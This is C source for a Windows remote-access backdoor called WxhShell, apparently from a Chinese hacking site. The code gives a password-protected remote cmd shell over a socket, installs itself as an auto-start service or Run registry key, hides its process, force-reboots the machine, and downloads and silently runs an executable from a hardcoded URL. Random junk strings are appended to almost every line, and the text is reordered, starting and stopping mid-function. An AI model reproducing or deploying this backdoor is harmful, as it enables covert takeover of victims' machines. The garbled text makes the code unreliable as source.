    } F9 2et<y.  
  // 关机 ~.&2N Ur  
  case 'd': { w0Y V87  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bb@m-+f  
    if(Boot(SHUTDOWN)) uYAMW{AT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fSw6nEXn  
    else { B'~CFj0W%=  
    closesocket(wsh); dc%0~Nz  
    ExitThread(0); JQk][3Rv  
    } g: ,*Y^T  
    break; RinaGeim  
    } q !Nb-O{  
  // 获取shell GcCMCR3  
  case 's': { Wv-nRDNG  
    CmdShell(wsh); v>E3|w%  
    closesocket(wsh); v8NoD_  
    ExitThread(0); CK#SD|~:  
    break; 7$|L%Sk  
  } W B7gY\Y&M  
  // 退出 M\)(_I)V=  
  case 'x': { =`fz#Mfd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Bxs0m]  
    CloseIt(wsh); 6}^6+@LG  
    break; a@niig  
    } uM74X^U  
  // 离开 MH h;>tw  
  case 'q': { rLJjK$_x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sq1v._^s  
    closesocket(wsh); >%Nqgn$V  
    WSACleanup(); khS >  
    exit(1); ,c.(&@  
    break; t+%tN^87:  
        } 5M mSQ_  
  } dBM> ;S;v  
  } Ub%1OQ  
J>%uak<  
  // 提示信息 )R5=GHmL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {>8u/  
} L__J(6,V2  
  } vu=`s|R  
O&ZVu>`g  
  return; Yo a|.2f  
} K f}h{X  
>gGdzL  
// shell模块句柄 L6IF0`M<,I  
int CmdShell(SOCKET sock) eO?@K$I  
{ - A)XYz  
STARTUPINFO si; ^rIe"Kx  
ZeroMemory(&si,sizeof(si)); x>*#cOVz;C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BY!M(X jrZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4Up \_  
PROCESS_INFORMATION ProcessInfo; c/ s$*"  
char cmdline[]="cmd"; ^yp`<=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i)mQ?Y#o  
  return 0; \*.u (8~2o  
} $zYo~5M?i-  
oH]"F  
// 自身启动模式 yjB.-o('  
int StartFromService(void) DqbU$jt`  
{ +y\mlfJ.-b  
typedef struct Y.}8lh eH  
{ i\94e{uty[  
  DWORD ExitStatus; &I=F4 z  
  DWORD PebBaseAddress; m* JbZT  
  DWORD AffinityMask; r8Pdk/CW^  
  DWORD BasePriority; /FW{>N1   
  ULONG UniqueProcessId; PAHkF&  
  ULONG InheritedFromUniqueProcessId; d>r_a9 .u  
}   PROCESS_BASIC_INFORMATION; #Y;tobB  
?VP07 dQTe  
PROCNTQSIP NtQueryInformationProcess; H;=++Dh  
RY9h^q*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FNB4YZ6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VT~jgsY  
``9`Xq  
  HANDLE             hProcess; =BNS3W6  
  PROCESS_BASIC_INFORMATION pbi; [7*$Sd  
4E~!$Ustx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 04wO9L;  
  if(NULL == hInst ) return 0; BkcA_a:W  
HA W57N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xXn2M*g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kjOPsz*0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <QZ X""  
PS3%V_2  
  if (!NtQueryInformationProcess) return 0; 3,4m|Z2)  
fx `oe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B jsF5~+\  
  if(!hProcess) return 0; jpI=B  
jZLD^@AP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1Z| {3W  
gW(7jFl  
  CloseHandle(hProcess); nD/; Gq  
nW7Ew<`Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /+{]?y,  
if(hProcess==NULL) return 0; ]v6s](CE  
[H&Z / .{F  
HMODULE hMod; ];VJ54  
char procName[255]; "O j2B|:s&  
unsigned long cbNeeded; iZbY@-3fc  
ji :E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wS%aN@ay3  
H% "R _[+  
  CloseHandle(hProcess); VGtKW kVH  
jUg.Y98  
if(strstr(procName,"services")) return 1; // 以服务启动 \$%q< _l  
u/g4s (a  
  return 0; // 注册表启动 }8,[B50  
} |E =8  
TU(w>v  
// 主模块 g9K7_T #W  
int StartWxhshell(LPSTR lpCmdLine) u iEAi  
{ Z;4pI@ u  
  SOCKET wsl; k5ZkD+0Jo  
BOOL val=TRUE; `SH#t3 5,  
  int port=0; oM4Q_An  
  struct sockaddr_in door; >L{s[pLJ  
_}RzJKl@  
  if(wscfg.ws_autoins) Install(); =i:6&Y~VGq  
 J0Ik@  
port=atoi(lpCmdLine); U6M3,"?  
~+r"% KnG  
if(port<=0) port=wscfg.ws_port; zJ7=r#b  
k,UezuV  
  WSADATA data; '4J];Nj0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X \GB:#:X  
p z]T9ol~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5o P 3 1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V(A p|I:G  
  door.sin_family = AF_INET; d|?'yX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2&Hn%q)  
  door.sin_port = htons(port); 7UzbS,$x  
.o?"=Epo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *'&mcEpg  
closesocket(wsl); Rz_fNlA  
return 1; JDA:)[;  
} Yo$NE  
qh<h|C]V  
  if(listen(wsl,2) == INVALID_SOCKET) { _xVtB1@kLM  
closesocket(wsl); 1s@%q <  
return 1; Y::I_6[eV  
} 5\6S5JyIL  
  Wxhshell(wsl); pf'-(W+  
  WSACleanup(); $Z8=QlG>  
k@i+gV%  
return 0; @=kDaPme92  
/^F$cQX(  
} ]IZn#gnM  
Spt]<~  
// 以NT服务方式启动 =5QP'Qt{O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6JYVC>i  
{ 8ezdU"  
DWORD   status = 0; q\fZ Q  
  DWORD   specificError = 0xfffffff; %1Pn;bUU!  
V7\@g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >,V~-Tp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r6#It$NU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `J(im  
  serviceStatus.dwWin32ExitCode     = 0; 6zfi\(fop  
  serviceStatus.dwServiceSpecificExitCode = 0; QlmZ4fT[r  
  serviceStatus.dwCheckPoint       = 0; 4Sq[I  
  serviceStatus.dwWaitHint       = 0; ,%zU5hh  
~)kOO oH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [-$:XOO  
  if (hServiceStatusHandle==0) return; +v7mw<6s  
!Xzne_V<  
status = GetLastError(); S1B^FLe7X  
  if (status!=NO_ERROR) )zR(e>VX  
{ (<"uV%1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BcfW94  
    serviceStatus.dwCheckPoint       = 0; #nv =x&g  
    serviceStatus.dwWaitHint       = 0; N`JkEd7TT  
    serviceStatus.dwWin32ExitCode     = status; {H5a.+-(bE  
    serviceStatus.dwServiceSpecificExitCode = specificError; =y$|2(6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *88Q6=Mm  
    return; VT;Vm3\  
  } W8$ky[2R  
\.`;p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^bZ'z  
  serviceStatus.dwCheckPoint       = 0; ~T{^7"q\  
  serviceStatus.dwWaitHint       = 0; {-T}"WHg7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7l%]/`Y-  
} r^m8kYezQ  
W@vt6v  
// 处理NT服务事件,比如:启动、停止 X &z|im'd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f[AN=M"B"s  
{ ;9+[t8Y)D  
switch(fdwControl) lD%Fk3  
{ !m* YPY31  
case SERVICE_CONTROL_STOP: w Bi'KS  
  serviceStatus.dwWin32ExitCode = 0; $hn=MOMc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j0XS12eM  
  serviceStatus.dwCheckPoint   = 0; Y2j>@  
  serviceStatus.dwWaitHint     = 0; vH^6O:V  
  { 'K L" i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nI63Ns  
  } (&W&1KT  
  return; -8r';zR  
case SERVICE_CONTROL_PAUSE: &7i o/d\/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s?:&#  
  break; c,K)*HB  
case SERVICE_CONTROL_CONTINUE: ~`uEZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cw*:`  
  break; Em%0C@C  
case SERVICE_CONTROL_INTERROGATE: G<2OL#Y-  
  break; 7O=N78M  
}; -|"[S"e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <? Z[X{  
} E=H>|FgS  
*t)Y@=k3>  
// 标准应用程序主函数 pdz_qj!Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iOFp9i=j  
{ wNk 0F7Ck  
_i/x4,=xv  
// 获取操作系统版本 0:CIM  
OsIsNt=GetOsVer(); prWK U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SH009@l_8  
Q1b<=,  
  // 从命令行安装 ($h`Y;4  
  if(strpbrk(lpCmdLine,"iI")) Install(); k Y}r^NaQA  
D?Mj<||  
  // 下载执行文件 i-<1M|f  
if(wscfg.ws_downexe) { dHzQAqb8J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3.t j%+  
  WinExec(wscfg.ws_filenam,SW_HIDE); /.1yxb#Z?,  
} >8* 0"Q  
nT;Rwz$3  
if(!OsIsNt) { dbE]&w`?d  
// 如果时win9x,隐藏进程并且设置为注册表启动 V,*<E&+  
HideProc(); A"V($:>U  
StartWxhshell(lpCmdLine); E .'v,GYe  
} Q[wTV3d  
else wm'a)B?  
  if(StartFromService()) @U 6jd4?)  
  // 以服务方式启动 5Al1u|;HB  
  StartServiceCtrlDispatcher(DispatchTable); :j)v=qul  
else v7h!'U[/  
  // 普通方式启动 =hP7 Hea(N  
  StartWxhshell(lpCmdLine); YUGEGXw  
H,{WrWA  
return 0; B%.vEk)*  
} ?f8)_t}^\  
=^9I)JW  
mr 6~8 I  
EZY <k#  
=========================================== P,eP>55'K  
4eRV?tE9  
2m*g,J?ql  
(\I9eBm  
pef)c,U$  
_<8~CWo:  
" qDV t  
@mJ# ~@*(  
#include <stdio.h> e2dg{n$6"  
#include <string.h> f i_'Ny>#  
#include <windows.h> Qms,kX  
#include <winsock2.h> M SnRx*-  
#include <winsvc.h> wAvnj  
#include <urlmon.h> ^E#i5d+'N  
C5F=J8pY  
#pragma comment (lib, "Ws2_32.lib") 9K6G%  
#pragma comment (lib, "urlmon.lib") ,bGYixIfYZ  
|c)hyw?[Y  
#define MAX_USER   100 // 最大客户端连接数 <y4WG  
#define BUF_SOCK   200 // sock buffer X1C &;5  
#define KEY_BUFF   255 // 输入 buffer EW~M,+?  
Sp]u5\  
#define REBOOT     0   // 重启 JGRL&MG4  
#define SHUTDOWN   1   // 关机 579<[[6~d2  
iRIO~XVo  
#define DEF_PORT   5000 // 监听端口 !SPu9:  
ec sQshR  
#define REG_LEN     16   // 注册表键长度 UID0|+%Y  
#define SVC_LEN     80   // NT服务名长度 {y%cTuC=  
qGXY  
// 从dll定义API ]I[\Io1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [q!/YL3 %  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kc7,F2=F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8n"L4jb(:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 53<.Knw5a  
*w`_(X f  
// wxhshell配置信息 @QO^3%b8  
struct WSCFG { hQ@E2Xsv  
  int ws_port;         // 监听端口 .gclE~h.  
  char ws_passstr[REG_LEN]; // 口令 gski:C   
  int ws_autoins;       // 安装标记, 1=yes 0=no h3rVa6cxM  
  char ws_regname[REG_LEN]; // 注册表键名 QF4)@ r{2x  
  char ws_svcname[REG_LEN]; // 服务名 9q]n &5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k4-S:kVo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;W?mQUo:P8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d^+0=_[PmK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Mpx98xcO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kn*LwWne  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5kik+  
 &Sdf0"  
}; 3]li3B'  
<]f{X<ef  
// default Wxhshell configuration cw/E?0MWb  
struct WSCFG wscfg={DEF_PORT, +'0V6 \y  
    "xuhuanlingzhe", O)8$aAJ)V  
    1, &[7z:`+Y##  
    "Wxhshell", AaLbJYuKd  
    "Wxhshell", :Xs3Vh,V  
            "WxhShell Service", w'6sJ#ba(  
    "Wrsky Windows CmdShell Service", }B ?_>0  
    "Please Input Your Password: ", z)ndj 1,#)  
  1, Sfa;;7W@R  
  "http://www.wrsky.com/wxhshell.exe", p|>m 2(|  
  "Wxhshell.exe" ;Sl%I+?  
    }; KsSIX  
-nQ(.#-n  
// 消息定义模块 x8o/m$[,=u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?3y>K!D(A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {_R{gpj'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %z6_,|%  
char *msg_ws_ext="\n\rExit."; jct'B}@X(  
char *msg_ws_end="\n\rQuit."; [4r<WvUaM  
char *msg_ws_boot="\n\rReboot..."; j;J`P H  
char *msg_ws_poff="\n\rShutdown..."; 6F_:,b^  
char *msg_ws_down="\n\rSave to "; Zd}12HFq  
&EhOSu  
char *msg_ws_err="\n\rErr!"; $/crb8-C  
char *msg_ws_ok="\n\rOK!"; e^k)756  
|pZ:5ta#  
char ExeFile[MAX_PATH]; ny}_^3  
int nUser = 0; :7?n)=Tx  
HANDLE handles[MAX_USER]; H5(: 1  
int OsIsNt; ](^FGz  
&S39SV  
SERVICE_STATUS       serviceStatus; I23"DBR3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~(`&hYE  
NQcNY=  
// 函数声明 aUi^7;R&<  
int Install(void); &ZL4/e  
int Uninstall(void); G2&,R{L6w  
int DownloadFile(char *sURL, SOCKET wsh); }yaM.+8.  
int Boot(int flag); N, ,[V  
void HideProc(void); %6la@i  
int GetOsVer(void); u s8.nL/  
int Wxhshell(SOCKET wsl); \olY)b[  
void TalkWithClient(void *cs); Z>[n~{-,p  
int CmdShell(SOCKET sock); 0|kH0c,T-  
int StartFromService(void); 8p#V4liE  
int StartWxhshell(LPSTR lpCmdLine); E.,  
BP@V:z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0jt@|3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dKY#Tl]  
?e\u_3- 9  
// 数据结构和表定义 PPde!}T$  
SERVICE_TABLE_ENTRY DispatchTable[] = p]qz+Z/  
{ %@8#+#@J0  
{wscfg.ws_svcname, NTServiceMain}, C@g/{?\  
{NULL, NULL} q| UO]V  
}; ]*D~>q"#\  
3G'cDemc  
// 自我安装 ^iWJqpLe  
int Install(void) g"N&*V2  
{ P?@o?  
  char svExeFile[MAX_PATH]; p) ?6~\F:  
  HKEY key; Js(MzL  
  strcpy(svExeFile,ExeFile); )"]( ?V  
a1EQ.u  
// 如果是win9x系统,修改注册表设为自启动 w~3z) ;  
if(!OsIsNt) { "5v^6R9e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NU"L1dK @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4n*`%V  
  RegCloseKey(key); U|b)Bw<P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZAgtVbO7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >`<qa!9  
  RegCloseKey(key); rP#&WSLVj  
  return 0; hcz!f  
    } %pLqX61t=  
  } S263h(H  
} Gr'|nR8  
else { NZ?dJ"eq7  
UgD)O:xaU  
// 如果是NT以上系统,安装为系统服务 8@ f+?g*i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jhkX U+4  
if (schSCManager!=0) tF\_AvL_8  
{ ANfy+@  
  SC_HANDLE schService = CreateService iu$Y0.H@  
  ( _YN C}PUU  
  schSCManager, g9Ty%|Q7(  
  wscfg.ws_svcname, c< sq0('`  
  wscfg.ws_svcdisp, 8T8]gM  
  SERVICE_ALL_ACCESS,  yyGn <  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 39d$B'"<1  
  SERVICE_AUTO_START, 6n;? :./  
  SERVICE_ERROR_NORMAL, 4%4Yqx )  
  svExeFile, 4y!GFhMh  
  NULL, rxj#  
  NULL, `XM0Mm%  
  NULL, cYBjsN(!A|  
  NULL, 6!8uZ>u%Vg  
  NULL )@<HG$#  
  ); |{RCvm  
  if (schService!=0) 9v1Snr  
  { {;O j  
  CloseServiceHandle(schService); oi8M6l  
  CloseServiceHandle(schSCManager); ge1U1o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (hh^?  
  strcat(svExeFile,wscfg.ws_svcname); AmQsay#I_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P<;Puww/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EKS?3z%!  
  RegCloseKey(key); -J0OtrZ  
  return 0; B5+$ VQ  
    } 9i D&y)$"  
  } v^;vH$B  
  CloseServiceHandle(schSCManager); ..w$p-1  
} " t?44[  
} Hz=s)6$ey  
*?VB/yO=0  
return 1; ~6+Um_A_L  
} c:+UC  
H%Z;Yt8^gt  
// 自我卸载 -:~z,F  
int Uninstall(void) hLVgP&/ E  
{ shO4>Ha  
  HKEY key; D[6wMep^n  
*1T~ruNqa  
if(!OsIsNt) { )<Mo.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r%>EiHpCU  
  RegDeleteValue(key,wscfg.ws_regname); MZqHL4<|  
  RegCloseKey(key); foB&H;A4oC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U[:=7UABU?  
  RegDeleteValue(key,wscfg.ws_regname); +{}p(9w@  
  RegCloseKey(key); [&l+Ve(  
  return 0; 4q(,uk&R[  
  } @Y<fj^]k  
} }:[MSUm5  
} O&}R  
else { rDu?XJA  
tK `A_hC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R]RLy#j  
if (schSCManager!=0) SR`A]EC(V  
{ 6q7jI )l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s@Loax6@B  
  if (schService!=0) /iJsa&W}  
  { 2sVDv@2  
  if(DeleteService(schService)!=0) { OL^DuoB4q  
  CloseServiceHandle(schService); c8HETs1  
  CloseServiceHandle(schSCManager); wUfPnAD.'  
  return 0; E^m)&.+'M  
  } /<dl"PWkJv  
  CloseServiceHandle(schService); C;#gy-  
  } P7REE_<1  
  CloseServiceHandle(schSCManager); }=.C~f]A  
} [?(qhp!  
} L`fT;2  
}WF6w+  
return 1;  =vDpm,  
} l{VJaZ $M  
07:h4beT  
// 从指定url下载文件 #-{ljjMQI  
int DownloadFile(char *sURL, SOCKET wsh) G^SDB!/@J  
{ NE3/>5  
  HRESULT hr; '#~Sb8   
char seps[]= "/"; z6h/C {  
char *token; ]BTISaL-R  
char *file; u'gsIuRJ  
char myURL[MAX_PATH]; 6UuM `eu  
char myFILE[MAX_PATH]; |uX&T`7?-  
}.=@^-JBA5  
strcpy(myURL,sURL); AJ6O>Euq  
  token=strtok(myURL,seps); l1%*LyD  
  while(token!=NULL)  (C%qA<6  
  { t+jdV  
    file=token; 3M'Y'Szm  
  token=strtok(NULL,seps); ej&o,gX  
  } 7t78=wpLc  
!\5)!B  
GetCurrentDirectory(MAX_PATH,myFILE); 'b+ Tio  
strcat(myFILE, "\\"); `8TL*.9  
strcat(myFILE, file); a)6?:nY$  
  send(wsh,myFILE,strlen(myFILE),0); }VVtv1  
send(wsh,"...",3,0); faZc18M^1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?}jjBJ&  
  if(hr==S_OK) 6'e 'UD  
return 0; O<XNI(@  
else ~dLe9-_9  
return 1; ?3i<^@?  
5"+;}E|q  
} dbF9%I@  
5j _[z|W2  
// 系统电源模块 J`wx72/-ZW  
int Boot(int flag) U;gy4rj  
{ k_Lv\'Ok  
  HANDLE hToken; \tdYTb.  
  TOKEN_PRIVILEGES tkp; 9'KOc5@l^  
=S\pI  
  if(OsIsNt) { lg 1r]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -&QpQ7q1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NIC.c3  
    tkp.PrivilegeCount = 1; 9D yy&$s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $us7fuKE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lH"VLO2l  
if(flag==REBOOT) { 1W9uWkk_d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9FF  
  return 0; D@k#'KU  
} '2{60t_A  
else { ntZHO}'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j3>&Su>H4  
  return 0; 8Z 0@-8vi  
} )1O|+m k  
  } q-e3;$  
  else { CZ(fP86e  
if(flag==REBOOT) { =CaSd|   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B;Co`o2  
  return 0; AQc9@3T~Bi  
} /8P7L'Rb  
else { msw=x0{n5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X"T)X#:)  
  return 0; @j%7tfW  
} xI~c~KC  
} "b`3   
1#2L9Bi  
return 1; 1\5po^Oioy  
} ,LL=b-Es  
xJFxrG'c  
// win9x进程隐藏模块 E FBvi  
void HideProc(void) YH-W{].  
{ qc6d,z/  
\u6/nvZ]N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =DI/|^j{ ;  
  if ( hKernel != NULL ) ;]2d%Qt  
  { Nh6!h%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a3:1`c/~\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D5!I{hp"  
    FreeLibrary(hKernel); dAjm4F -  
  } Q*/jQC  
5"Y:^_8  
return; `QT9W-0e^  
} o7yvXrpG(U  
~VPE9D@  
// 获取操作系统版本 `L.nj6F  
int GetOsVer(void)  Lvn+EM  
{ _,*QJ  
  OSVERSIONINFO winfo; #?bOAWAwLh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2*zMLI0.  
  GetVersionEx(&winfo); 59(} D'lw>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >< Qp%yT  
  return 1; IpVtbDW  
  else U@)WTH6d  
  return 0; _147d5  
} CW~c<,"  
}`uq:y  
// 客户端句柄模块 RNX>I,2sh  
int Wxhshell(SOCKET wsl) g<i>252>  
{ [ _&z+  
  SOCKET wsh; 2c5)pIVEy  
  struct sockaddr_in client; 8ZDWaq8^2N  
  DWORD myID; Qs_]U  
|PLWF[+t8  
  while(nUser<MAX_USER) vz)zl2F5sY  
{ ^i17MvT'  
  int nSize=sizeof(client); #LG<o3An  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N\x<'P4q  
  if(wsh==INVALID_SOCKET) return 1; P)UpUMt;k  
_(KzjOMt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KocNJ TB  
if(handles[nUser]==0) fyv S1_  
  closesocket(wsh); [uu<aRAg3O  
else  Kuh)3/7  
  nUser++; p[D,.0SuC  
  } l/bZE.GJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K)9f\1\  
^~m}(6  
  return 0; ;7g~4Uv4}  
} <J!?eH9f  
r6}-EYq=  
// 关闭 socket |TuFx=~5v  
void CloseIt(SOCKET wsh) .WW|v  
{ ;vgaFc]  
closesocket(wsh); \B8[UZA.&  
nUser--; 2!}rH w  
ExitThread(0); tnw6[U!rh=  
} CSMx]jbb  
[3(lk_t  
// 客户端请求句柄 f`p"uLNo<  
void TalkWithClient(void *cs) HO39>:c  
{ $eh>.c'&]  
@Y+9")?  
  SOCKET wsh=(SOCKET)cs; *g 2N&U  
  char pwd[SVC_LEN]; {7 nz:f  
  char cmd[KEY_BUFF]; R,W w/D  
char chr[1]; 1zY" Uxp  
int i,j; q]m$%>  
hu-6V="^9  
  while (nUser < MAX_USER) { h) W|~y@  
lf2(h4[1R  
if(wscfg.ws_passstr) { h=ko_/<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r1|;V~ a$~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bcFZ ~B  
  //ZeroMemory(pwd,KEY_BUFF); THnZbh4#)  
      i=0; &fgfCZz'  
  while(i<SVC_LEN) { -&r A<j  
n7'X.=o7  
  // 设置超时 6 Y}Bza  
  fd_set FdRead; >66v+  
  struct timeval TimeOut; KoTQc0b!  
  FD_ZERO(&FdRead); YRJw,xl  
  FD_SET(wsh,&FdRead); b`DPf@p^kc  
  TimeOut.tv_sec=8; ~.8p8\H  
  TimeOut.tv_usec=0; 1Ozy;;\-9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); + Scw;gO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R(DlJ  
Z=>#|pW,)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [xg& `x9,.  
  pwd=chr[0]; k54Vh=p  
  if(chr[0]==0xd || chr[0]==0xa) { 1WLaJ%Fv  
  pwd=0; :%"$8o*0W  
  break; psE&Rx3)  
  } !"N-To-c  
  i++; VAZ6;3@cd  
    } T &kr IZw  
R]Pv=fn  
  // 如果是非法用户,关闭 socket M`.v/UQn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {~eVZVv  
} %n>*jFC  
L2^M#G@t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i 9wk)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mEDi'!YE"  
l*<RKY8  
while(1) { I?%iJ%  
+`Ypc  
  ZeroMemory(cmd,KEY_BUFF); ?DKwKt  
?ZT+4U00U  
      // 自动支持客户端 telnet标准   ($Ck5`_MK  
  j=0; y4 ~;H{!  
  while(j<KEY_BUFF) { S%k](\7!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8zk?:?8%{  
  cmd[j]=chr[0]; zsha/:b  
  if(chr[0]==0xa || chr[0]==0xd) { p>GxSE)  
  cmd[j]=0; =aE!y5  
  break; {/SLDyf%Z  
  } ekhx?rz  
  j++; X\'+);Z  
    } Kq2,J&Ca3  
^%k[YJtB=i  
  // 下载文件 KcNh3CR  
  if(strstr(cmd,"http://")) { tu0agSpU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e-e*%  
  if(DownloadFile(cmd,wsh)) pcjb;&<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $oU40HA)W]  
  else {9*k \d/;  
